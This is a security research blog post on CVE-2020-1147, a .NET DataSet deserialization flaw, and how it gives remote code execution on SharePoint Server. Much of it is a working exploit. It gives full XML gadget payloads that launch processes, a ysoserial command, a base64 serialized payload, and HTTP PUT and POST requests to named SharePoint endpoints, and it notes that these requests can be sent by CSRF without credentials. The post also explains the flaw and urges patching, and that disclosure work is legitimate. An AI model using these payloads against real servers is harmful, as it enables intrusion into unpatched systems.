

SharePoint and Pwn: Remote Code Execution Against SharePoint Server Abusing DataSet

SharePoint and Pwn: Remote Code Execution Against SharePoint Server Abusing DataSet - Steven Seeley, Source Incite.

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Content

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[image: SharePoint]

When [CVE-2020-1147](#) was released last week I was curious as to how this vulnerability manifested and how an attacker might achieve remote code execution with it. Since I'm somewhat familiar with SharePoint Server and .net, I decided to take a look.

TL;DR; *I share the breakdown of CVE-2020-1147 which was discovered independently by [Oleksandr Mirosh](#), [Markus Wulftange](#) and [Jonathan Birch](#). I share the details on how it can be leveraged against a SharePoint Server instance to gain remote code execution as a low privileged user. Please note: I am not providing a full exploit, so if that's your jam, move along.*

One of the things that stood out to me, was that Microsoft published [Security Guidance](#) related to this bug, quoting Microsoft:

If the incoming XML data contains an object whose type is not in this list... An exception is thrown. The deserialization operation fails. When loading XML into an existing DataSet or DataTable instance, the existing column definitions are also taken into account. If the table already contains a column definition of a custom type, that type is temporarily added to the allow list for the duration of the XML deserialization operation.

Interestingly, it was possible to specify types and it was possible to overwrite column definitions. That was the key giveaway for me, let's take a look at how the `DataSet` object is created:

Understanding the DataSet Object

A `DataSet` contains a `DataTable` with `DataColumn(s)` and `DataRow(s)`. More importantly, it implements the `ISerializable` interface meaning that it can be serialized with `XmlSerializer`. Let's start by creating a `DataTable`:

```
static void Main(string[] args)
{
    // instantiate the table
    DataTable exptable = new DataTable("exp table");

    // make a column and set type information and append to the table
    DataColumn dc = new DataColumn("ObjectDataProviderCol");
    dc.DataType = typeof(ObjectDataProvider);
    exptable.Columns.Add(dc);

    // make a row and set an object instance and append to the table
    DataRow row = exptable.NewRow();
    row["ObjectDataProviderCol"] = new ObjectDataProvider();
    exptable.Rows.Add(row);

    // dump the xml schema
    exptable.WriteXmlSchema("c:/poc-schema.xml");
}
```

Using the `WriteXmlSchema` method, It's possible to write out the schema definition. That code produces the following:

```

<?xml version="1.0" standalone="yes"?>
<xs:schema id="NewDataSet" xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
  <xs:element name="NewDataSet" msdata:IsDataSet="true"
msdata:MainDataTable="exp_x0020_table" msdata:UseCurrentLocale="true">
    <xs:complexType>
      <xs:choice minOccurs="0" maxOccurs="unbounded">
        <xs:element name="exp_x0020_table">
          <xs:complexType>
            <xs:sequence>
              <xs:element name="ObjectDataProviderCol"
msdata:DataType="System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" type="xs:anyType"
minOccurs="0" />
            </xs:sequence>
          </xs:complexType>
        </xs:element>
      </xs:choice>
    </xs:complexType>
  </xs:element>
</xs:schema>

```

Looking into the code of `DataSet` it's revealed that it exposes its own serialization methods (wrapped over `XmlSerializer`) using `WriteXml` and `ReadXML`:

```

System.Data.DataSet.ReadXml(XmlReader reader, Boolean denyResolving)
System.Data.DataSet.ReadXmlDiffgram(XmlReader reader)
System.Data.XmlDataLoader.LoadData(XmlReader reader)
System.Data.XmlDataLoader.LoadTable(DataTable table, Boolean isNested)
System.Data.XmlDataLoader.LoadColumn(DataColumn column, Object[] foundColumns)
System.Data.DataColumn.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute
xmlAttrib)
System.Data.Common.ObjectStorage.ConvertXmlToObject(XmlReader xmlReader,
XmlRootAttribute xmlAttrib)
System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader)

```

Now, all that's left to do is add the table to a dataset and serialize it up:

```
DataSet ds = new DataSet("poc");
ds.Tables.Add(exptable);
using (var writer = new StringWriter())
{
    ds.WriteXml(writer);
    Console.WriteLine(writer.ToString());
}
```

These serialization methods retain schema types and reconstruct attacker influenced types at runtime using a single `DataSet` expected type in the instantiated `XmlSerializer` object graph.

The DataSet Gadget

Below is an example of such a gadget that can be crafted, note that this is not to be confused with the `DataSet` gadgets in [ysoserial](#):

```

<DataSet>
  <xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset">
    <xs:element name="somedataset" msdata:IsDataSet="true"
msdata:UseCurrentLocale="true">
      <xs:complexType>
        <xs:choice minOccurs="0" maxOccurs="unbounded">
          <xs:element name="Exp_x0020_Table">
            <xs:complexType>
              <xs:sequence>
                <xs:element name="pwn"
msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.X
amlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider,
PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/>
              </xs:sequence>
            </xs:complexType>
          </xs:element>
        </xs:choice>
      </xs:complexType>
    </xs:element>
  </xs:schema>
  <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata"
xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
    <somedataset>
      <Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0"
diffgr:hasChanges="inserted">
        <pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
          <ExpandedElement/>
          <ProjectedProperty0>
            <MethodName>Parse</MethodName>
            <MethodParameters>
              <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string"><![
CDATA[<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-
namespace:System;assembly=mscorlib" xmlns:Diag="clr-
namespace:System.Diagnostics;assembly=system"><ObjectDataProvider x:Key="LaunchCmd"
ObjectType="{x:Type Diag:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters><System:String>cmd</System:String><System:String>/c

```

```

mspaint </System:String></ObjectDataProvider.MethodParameters></ObjectDataProvider>
</ResourceDictionary>]]></anyType>
    </MethodParameters>
    <ObjectInstance xsi:type="XamlReader"/>
  </ProjectedProperty0>
</pwn>
</Exp_x0020_Table>
</somedataset>
</diffgr:diffgram>
</DataSet>

```

This gadget chain will call an arbitrary static method on a `Type` which contains no interface members. Here I used the notorious `XamlReader.Parse` to load malicious Xaml to execute a system command. I used the `ExpandedWrapper` class to load two different types as mentioned by [@pwntester's amazing research](#).

It can be leveraged in a number of sinks, such as:

```

XmlSerializer ser = new XmlSerializer(typeof(DataSet));
Stream reader = new FileStream("c:/poc.xml", FileMode.Open);
ser.Deserialize(reader);

```

Many applications consider `DataSet` to be safe, so even if the expected type can't be controlled directly to `XmlSerializer`, `DataSet` is typically used in the object graph. However, the most interesting sink is the `DataSet.ReadXml` to trigger code execution:

```

DataSet ds = new DataSet();
ds.ReadXml("c:/poc.xml");

```

If we take a look at [ZDI-20-874](#), the advisory mentions the `Microsoft.PerformancePoint.Scorecards.Client.ExcelDataSet` control which can be leveraged for remote code execution. This immediately plagued my interest since it had the name (`DataSet`) in its class name. Let's take a look at SharePoint's default web.config file:

```

<controls>
  <add tagPrefix="asp" namespace="System.Web.UI" assembly="System.Web.Extensions,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" />
  <add tagPrefix="SharePoint" namespace="Microsoft.SharePoint.WebControls"
assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral,
PublicKeyToken=71e9bce111e9429c" />
  <add tagPrefix="WebPartPages" namespace="Microsoft.SharePoint.WebPartPages"
assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral,
PublicKeyToken=71e9bce111e9429c" />
  <add tagPrefix="PWA" namespace="Microsoft.Office.Project.PWA.CommonControls"
assembly="Microsoft.Office.Project.Server.PWA, Version=16.0.0.0, Culture=neutral,
PublicKeyToken=71e9bce111e9429c" />
  <add tagPrefix="spsswc" namespace="Microsoft.Office.Server.Search.WebControls"
assembly="Microsoft.Office.Server.Search, Version=16.0.0.0, Culture=neutral,
PublicKeyToken=71e9bce111e9429c" />
</controls>

```

Under the controls tag, we can see that a prefix doesn't exist for the `Microsoft.PerformancePoint.Scorecards` namespace. However, if we check the SafeControl tags, it is indeed listed with all types from that namespace permitted.

```

<configuration>
  <configSections>
    <SharePoint>
      <SafeControls>
        <SafeControl Assembly="Microsoft.PerformancePoint.Scorecards.Client,
Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c"
Namespace="Microsoft.PerformancePoint.Scorecards" TypeName="*" />
        ...
      </SafeControls>
    </SharePoint>
  </configSections>
</configuration>

```

Now that we know we can instantiate classes from that namespace, let's dive into the code to inspect the `ExcelDataSet` type:

```

namespace Microsoft.PerformancePoint.Scorecards
{
    [Serializable]
    public class ExcelDataSet
    {

```

The first thing I noticed is that it's serializable, so I know that it can in fact be instantiated as a control and the default constructor will be called along with any public setters that are not marked with the `System.Xml.Serialization.XmlIgnoreAttribute` attribute. SharePoint

uses `XmlSerializer` for creating objects from controls so anywhere in the code where attacker supplied data can flow into `TemplateControl.ParseControl`, the `ExcelDataSet` type can be leveraged.

One of the properties that stood out was the `DataTable` property since it contains a public setter and uses the type `System.Data.DataTable`. However, on closer inspection, we can see that the `XmlIgnore` attribute is being used, so we can't trigger the deserialization using this setter.

```
[XmlIgnore]
public DataTable DataTable
{
    get
    {
        if (this.dataTable == null && this.compressedDataTable != null)
        {
            this.dataTable =
                (Helper.GetObjectFromCompressedBase64String(this.compressedDataTable,
                    ExcelDataSet.ExpectedSerializationTypes) as DataTable);
            if (this.dataTable == null)
            {
                this.compressedDataTable = null;
            }
        }
        return this.dataTable;
    }
    set
    {
        this.dataTable = value;
        this.compressedDataTable = null;
    }
}
```

The above code does reveal the partial answer though, the getter calls `GetObjectFromCompressedBase64String` using the `compressedDataTable` property. This method will decode the supplied base64, decompress the binary formatter payload and call `BinaryFormatter.Deserialize` with it. However, the code contains expected types for the deserialization, one of which is `DataTable`, So we can't just stuff a generated [TypeConfuse Delegate](#) here.

```
private static readonly Type[] ExpectedSerializationTypes = new Type[]
{
    typeof(DataTable),
    typeof(Version)
};
```

Inspecting the `CompressedDataTable` property, we can see that we have no issues setting the `compressedDataTable` member since it's using `System.Xml.Serialization.XmlElementAttribute` attribute.

```
[XmlElement]
public string CompressedDataTable
{
    get
    {
        if (this.compressedDataTable == null && this.dataTable != null)
        {
            this.compressedDataTable =
                Helper.GetCompressedBase64StringFromObject(this.dataTable);
        }
        return this.compressedDataTable;
    }
    set
    {
        this.compressedDataTable = value;
        this.dataTable = null;
    }
}
```

Putting it (almost all) together, I could register a prefix and instantiate the control with a base64 encoded, compressed and serialized, albeit, dangerous `DataTable` :

```
PUT /poc.aspx HTTP/1.1
```

```
Host: <target>
```

```
Authorization: <ntlm auth header>
```

```
Content-Length: 1688
```

```
<%@ Register TagPrefix="escape" Namespace="Microsoft.PerformancePoint.Scorecards"
Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0,
Culture=neutral, PublicKeyToken=71e9bce111e9429c"%>
<escape:ExcelDataSet runat="server"
CompressedDataTable="H4sIAAAAAAEALVWw2/bNhR0egmadtvbHvYm6KFPtmTHSdoqlgs06YZgcRPE2RqgKDKa
OrbZSKRGUraMYv9o+43doUTZju2mabHJgESf0w+/80kbmxsbG5/wMk9zfXcPb296U6Uh8Y6IJjXnd5CKCR7ueg3zq
zmHWawzCSGHTEsS15yzrB8z+itML8Q18LD/7BnZo3v7zRetXWg8f/HQBP9xIWZxuyD9G06j5qfZP+8cEqEZH9qU25
dJ3KMjSMgTXB2xweAXSZL7m5s/2GDWztS8bUJtPcDb34/aL/Mkdsa2brfpNVwH0BURhg7dTA/qzX33Zef7x+1cBap
I4KAHV6Hrlosgx/VI6zTw/clk4k1anpBDf6fRaPqX3Z0yqMo2URHuAANLbq0pesKoFEoMdJ2KJEC7emnlYlbHMXkh
hgS4djhJIHRf5+lv3mjsNK6KTPRmpSESGPIL6YpWGkpV/BnhruaC9fFTSfcdcrUQdFnjBK6i2fRAZlmFJR3zDVIT
mIPayE8guitJGkK8o+dd++swlvGIzFRXpfI6yz1LkkSnw0JQCIGJChMSzS2/Gc8JZgIef0N4Gk1+4PW8719ErX2d6
G19762nLyo+rT/Aag2yzMpxuz/LeF9zVnXsf9gNFxHFweC50b41Bz07LQ0kUPQb3AbKiUUDDTxk8pzSRiExHtz9H
gr8KhkC1DpxBagHwGiEokYPIr0LNSjpXZdw906GqZzUvsEsZnw7uK4crsNwWHmZSY40RQYiyLKHeA0B0JbPTSvh0S
V/8y3heZgeqG8G3fZd9mvYlI7Ww+RMv553I6QXYyKB8k+ZbRtj5liC/5VINq46b1hIX0V3tZ6qhji2RR0WynEDZnf
ZZicipxEoowdMRUYcjwoeA3WJcgdyTYrHmPkR5mhMe+zHh1DKEJgmX0k9EdeHKRoSpyeW1R5y8qcZbNWE0EC2QePW
0saFFfTv2xLcLBmoNyfuZM5N6IiD5d0CMRmTnqnBGpo00vSNZYohFqkArVDS3q7YQupMXtB0pLfk24naexPjgHJTJ
J4YhRQ0JETqv3iu2RxYM3w40HePanjA9y07R9P8eN+OkCkc06/XUxKreSt0KXxrLOKy6x0g0iFCT9eBomigoZs37L
dcTIcL2PZ1RcKM2omvurQuc+HeoD04ZVcnbyADkwdE9IxunoMMGBLY3K99HHPCg6a4IH6IPkqv5ynflB4SsL+VDfk
sFbPr3KtKw76BXHZIQ0iYzcX1Gstfapg5xFnc+7+F9RzBrbmWoVPEbV9i3sbmLVvwWsbF+WOWr70PMzrlwiGEuWN5
mo7S9xY+eB+dZa+gYzX15bV13yQUh8MG4erzIWR9tX5zBmxsR8Xz7C65791vXkryf/AlZRM+GCgAA" />
```

However, I couldn't figure out a way to trigger the `DataTable` property getter. I know I needed a way to use the `DataSet`, but I just didn't know *how* too.

Many Paths Lead to Rome

The frustration! After going for a walk with my dog, I decided to think about this differently and I asked myself what other sinks are available. Then I remembered that the `DataSet.ReadXml` sink was also a source of trouble, so I checked the code again and found this valid code path:

```
Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.GetDataSet()
```

```
Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.PopulateDataSetFromCache(DataSet)
```

Inside of the `ContactLinksSuggestionsMicroView` class we can see the `GetDataSet` method:

```

protected override DataSet GetDataSet()
{
    base.StopProcessingRequestIfNotNeeded();
    if (!this.Page.IsPostBack || this.Hidden)

// 1
    {
        return null;
    }
    DataSet dataSet = new DataSet();
    DataTable dataTable = dataSet.Tables.Add();
    dataTable.Columns.Add("PreferredName", typeof(string));
    dataTable.Columns.Add("Weight", typeof(double));
    dataTable.Columns.Add("UserID", typeof(string));
    dataTable.Columns.Add("Email", typeof(string));
    dataTable.Columns.Add("PageURL", typeof(string));
    dataTable.Columns.Add("PictureURL", typeof(string));
    dataTable.Columns.Add("Title", typeof(string));
    dataTable.Columns.Add("Department", typeof(string));
    dataTable.Columns.Add("SourceMask", typeof(int));
    if (this.IsInitialPostBack)

// 2
    {
        this.PopulateDataSetFromSuggestions(dataSet);
    }
    else
    {
        this.PopulateDataSetFromCache(dataSet);

// 3
    }
    this.m_strJavascript.AppendLine("var user = new
Object();");
    foreach (object obj in dataSet.Tables[0].Rows)
    {
        DataRow dataRow = (DataRow)obj;
        string scriptLiteralToEncode =
(string)dataRow["UserID"];

        int num = (int)dataRow["SourceMask"];
        this.m_strJavascript.Append("user['"] = ");

        this.m_strJavascript.Append(SPHttpUtility.EcmaScriptStringLiteralEncode(scriptLiteralToEn
code));

        this.m_strJavascript.Append("''] = ");

        this.m_strJavascript.Append(num.ToString(CultureInfo.CurrentCulture));
    }
}

```

```

        this.m_strJavascript.AppendLine(";");
    }
    StringWriter stringWriter = new
StringWriter(CultureInfo.CurrentCulture);
    dataSet.WriteXml(stringWriter);
    SPPageContentManager.RegisterHiddenField(this.Page,
"__SUGGESTIONSCACHE__", stringWriter.ToString());
    return dataSet;
}

```

At [1] the code checks that the request is a POST back request. To ensure this, an attacker can set the `__viewstate` POST variable, then at [2] the code will check that the `__SUGGESTIONSCACHE__` POST variable is set, if it's set, the `IsInitialPostBack` getter will return false. As long as this getter returns false, an attacker can land at [3], reaching `PopulateDataSetFromCache`. This call will use a `DataSet` that has been created with a specific schema definition.

```

protected void PopulateDataSetFromCache(DataSet ds)
{
    string value = SPRequestParameterUtility.GetValue<string>
(this.Page.Request, "__SUGGESTIONSCACHE__", SPRequestParameterSource.Form);
    using (XmlTextReader xmlTextReader = new XmlTextReader(new
StringReader(value)))
    {
        xmlTextReader.DtdProcessing =
DtdProcessing.Prohibit;

        ds.ReadXml(xmlTextReader);

        ds.AcceptChanges();
    }
}

```

Inside of `PopulateDataSetFromCache`, the code calls `SPRequestParameterUtility.GetValue` to get attacker controlled data from the `__SUGGESTIONSCACHE__` request variable and parses it directly into `ReadXml` using `XmlTextReader`. The previously defined schema is overwritten with the attacker supplied schema inside of the supplied XML and deserialization of untrusted types occurs at [4], leading to **remote code execution**. To trigger this, I created a page that uses the `ContactLinksSuggestionsMicroView` type specifically:

```
PUT /poc.aspx HTTP/1.1
Host: <target>
Authorization: <ntlm auth header>
Content-Length: 252

<%@ Register TagPrefix="escape" Namespace="Microsoft.SharePoint.Portal.WebControls"
Assembly="Microsoft.SharePoint.Portal, Version=15.0.0.0, Culture=neutral,
PublicKeyToken=71e9bce111e9429c"%>
<escape:ContactLinksSuggestionsMicroView runat="server" />
```

If you are exploiting this bug as a low priviledged user and the `AddAndCustomizePages` setting is disabled, then you can possibly exploit the bug with pages that instantiate the `InputFormContactLinksSuggestionsMicroView` control, since it extends from `ContactLinksSuggestionsMicroView`.

```
namespace Microsoft.SharePoint.Portal.WebControls
{
    [SharePointPermission(SecurityAction.Demand, ObjectModel = true)]
    [AspNetHostingPermission(SecurityAction.LinkDemand, Level =
AspNetHostingPermissionLevel.Minimal)]
    [AspNetHostingPermission(SecurityAction.InheritanceDemand, Level =
AspNetHostingPermissionLevel.Minimal)]
    [SharePointPermission(SecurityAction.InheritanceDemand, ObjectModel = true)]
    public class InputFormContactLinksSuggestionsMicroView :
ContactLinksSuggestionsMicroView
    {
```

I found a few endpoints that implement that control (but I haven't had time to test them)
Update: [Soroush Dalili](#) tested them for me and [confirmed](#) that they are indeed, exploitable.

- `/_layouts/15/quicklinks.aspx?Mode=Suggestion`
- `/_layouts/15/quicklinksdialogform.aspx?Mode=Suggestion`

Now, to exploit it we can perform a post request to our freshly crafted page:

```
POST /poc.aspx HTTP/1.1
Host: <target>
Authorization: <ntlm auth header>
Content-Type: application/x-www-form-urlencoded
Content-Length: <length>

__viewstate=&__SUGGESTIONSCACHE__=<urlencoded DataSet gadget>
```

or

```
POST /quicklinks.aspx?Mode=Suggestion HTTP/1.1
Host: <target>
Authorization: <ntlm auth header>
Content-Type: application/x-www-form-urlencoded
Content-Length: <length>

__viewstate=&__SUGGESTIONSCACHE__=<urlencoded DataSet gadget>
```

or

```
POST /quicklinksdialogform.aspx?Mode=Suggestion HTTP/1.1
Host: <target>
Authorization: <ntlm auth header>
Content-Type: application/x-www-form-urlencoded
Content-Length: <length>

__viewstate=&__SUGGESTIONSCACHE__=<urlencoded DataSet gadget>
```

Note that each of these endpoints could also be csrfed, so credentials are not necessarily required.

One Last Thing

You cannot use the `XamlReader.Load` static method because the IIS webserver is impersonating as the IUSR account and that account has limited access to the registry. If you try, you will end up with a stack trace like this unless you disable impersonation under IIS and use the application pool identity:

```

{System.InvalidOperationException: There is an error in the XML document. --->
System.TypeInitializationException: The type initializer for 'MS.Utility.EventTrace'
threw an exception. ---> System.Security.SecurityException: Requested registry access is
not allowed.
    at System.ThrowHelper.ThrowSecurityException(ExceptionResource resource)
    at Microsoft.Win32.RegistryKey.OpenSubKey(String name, Boolean writable)
    at Microsoft.Win32.RegistryKey.OpenSubKey(String name)
    at Microsoft.Win32.Registry.GetValue(String keyName, String valueName, Object
defaultValue)
    at MS.Utility.EventTrace.IsClassicETWRegistryEnabled()
    at MS.Utility.EventTrace..cctor()
    --- End of inner exception stack trace ---
    at MS.Utility.EventTrace.EasyTraceEvent(Keyword keywords, Event eventID, Object
param1)
    at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext
parserContext, XamlParseMode parseMode, Boolean useRestrictiveXamlReader, List`1
safeTypes)
    at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext
parserContext, XamlParseMode parseMode, Boolean useRestrictiveXamlReader)
    at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext
parserContext, XamlParseMode parseMode)
    at System.Windows.Markup.XamlReader.Load(XmlReader reader)
    at System.Windows.Markup.XamlReader.Parse(String xamlText)
    --- End of inner exception stack trace ---
    at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader, String
encodingStyle, XmlDeserializationEvents events)
    at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader, String
encodingStyle)
    at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader)
    at System.Data.Common.ObjectStorage.ConvertXmlToObject(XmlReader xmlReader,
XmlRootAttribute xmlAttrib)
    at System.Data.DataColumn.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute
xmlAttrib)
    at System.Data.XmlDataLoader.LoadColumn(DataColumn column, Object[] foundColumns)
    at System.Data.XmlDataLoader.LoadTable(DataTable table, Boolean isNested)
    at System.Data.XmlDataLoader.LoadData(XmlReader reader)
    at System.Data.DataSet.ReadXmlDiffgram(XmlReader reader)
    at System.Data.DataSet.ReadXml(XmlReader reader, Boolean denyResolving)
    at System.Data.DataSet.ReadXml(XmlReader reader)
    at
Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.PopulateDataSetF
romCache(DataSet ds)
    at

```

```
Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.GetDataSet()  
    at Microsoft.SharePoint.Portal.WebControls.PrivacyItemView.GetQueryResults(Object obj)
```

You need to find another dangerous static method or setter to call from a type that doesn't use interface members, I leave this as an exercise to the reader, good luck!

Remote Code Execution Exploit

Ok so I lied. Look the truth is, I just want people to read the full blog post and not rush to find the exploit payload, it's better to understand the underlying technology you know? Anyway, to exploit this bug we can (ab)use the `LosFormatter.Deserialize` method since the class contains no interface members. To do so, we need to generate a base64 payload of a serialized `ObjectStateFormatter` gadget chain:

```
c:\> ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c mspaint
```

Now, we can plug the payload into the following DataSet gadget and trigger **remote code execution** against the target SharePoint Server!

```
<DataSet>  
  <xsd:schema xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema"  
xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset">  
    <xsd:element name="somedataset" msdata:IsDataSet="true"  
msdata:UseCurrentLocale="true">  
      <xsd:complexType>  
        <xsd:choice minOccurs="0" maxOccurs="unbounded">  
          <xsd:element name="Exp_x0020_Table">  
            <xsd:complexType>  
              <xsd:sequence>  
                <xsd:element name="pwn"  
msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormat  
ter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f1d50a3a],  
[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0,  
Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services,  
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xsd:anyType"  
minOccurs="0"/>  
              </xsd:sequence>  
            </xsd:complexType>  
          </xsd:element>  
        </xsd:choice>  
      </xsd:complexType>  
    </xsd:element>  
  </xsd:schema>  
  <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata"  
xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">  
    <somedataset>  
      <Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0"  
diffgr:hasChanges="inserted">  
        <pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xmlns:xsd="http://www.w3.org/2001/XMLSchema">  
          <ExpandedElement/>  
          <ProjectedProperty0>  
            <MethodName>Deserialize</MethodName>  
            <MethodParameters>  
              <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xmlns:xsd="http://www.w3.org/2001/XMLSchema"  
xsi:type="xsd:string"/></wEykwCAAQAAAP///8BAAAAAAAAAawCAAAAXk1pY3Jvc29mdC50b3dlclNoZWxsLkV  
kaXRvciwgVmVyc2lrbj0zLjAuMC4wLCBDdWx0dXJLPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmZyODUZYWQz  
NjRlMzUFAQAAAEJNaWNyb3NvZnQuVmIzdWFsU3RIZGlvLlRleHQuRm9ybWFOdGlucyUZXh0Rm9ybWFOdGlucyU1J1b  
lByb3BlcnRpZXMBAAD0Zvcmlncm91bmRCcnVzaEACAAAABgMAAACIBTw/eG1sIHZlcnpb249IjEuMCIgZW5jb2  
Rpbmc9InV0Zi04Ij8+DQo8T2JqZWNOGRGF0YVBib3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRyYXNm2F  
krW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcys5taW9yb3NvZnQuY29tLTdpbmZ4LzIwMDYveGFT  
bc9wcmlucyU1J1bW50YXRPb24iIHhtbG5zOnNkPSJibHItdmFtZXNwYWNlO1N5c3RlbS5EaWFnbnm9zdGluczhzc3NlbWJs
```

```

T1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2h1bWZlcm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCi
AgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcy4NCiAgICA8IDxzZDp
Qcm9jZXRzLlN0YXJ0S5mbz4NCiAgICA8ICA8PHNk01Byb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBtc3Bh
aW50IiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int40k51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDp0d
WxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int40k51bGx9IiBEb21haW49IiIgTG9hZGVzZXJQcm9maWxlPSJGYW
xzZSIgRm1sZU5hbWU9ImNtZCIgZ4NCiAgICA8IDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICA8PC9zZDpQcm9
jZXRzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWNoRGF0YVByb3ZpZGVy
Pgs=</anyType>
</MethodParameters>
<ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
</ProjectedProperty0>
</pwn>
</Exp_x0020_Table>
</somedataset>
</diffgr:diffgram>
</DataSet>

```

svchost.exe		19,284 K	25,400 K	2912 Host Process for Windows S...	Microsoft Corporation	System
w3wp.exe	0.30	558,092 K	528,464 K	7276 IIS Worker Process	Microsoft Corporation	High
w3wp.exe	0.14	516,760 K	492,260 K	11360 IIS Worker Process	Microsoft Corporation	High
cmd.exe		4,336 K	3,944 K	13060 Windows Command Processor	Microsoft Corporation	High
conhost.exe	< 0.01	6,732 K	12,416 K	9576 Console Window Host	Microsoft Corporation	High
mspaint.exe		8,424 K	24,944 K	6100 Paint	Microsoft Corporation	High
w3wp.exe	0.09	334,712 K	288,244 K	3240 IIS Worker Process	Microsoft Corporation	High

Conclusion

Microsoft rate this bug with an exploitability index rating of 1 and we agree, meaning you should patch this immediately if you haven't. It is highly likely that this gadget chain can be used against several applications built with .net so even if you don't have a SharePoint Server installed, you are still impacted by this bug.

References

- <https://speakerdeck.com/pwntester/attacking-net-serialization>
- <https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/dataset-datatable-dataview/security-guidance>
- <https://www.zerodayinitiative.com/advisories/ZDI-20-874/>

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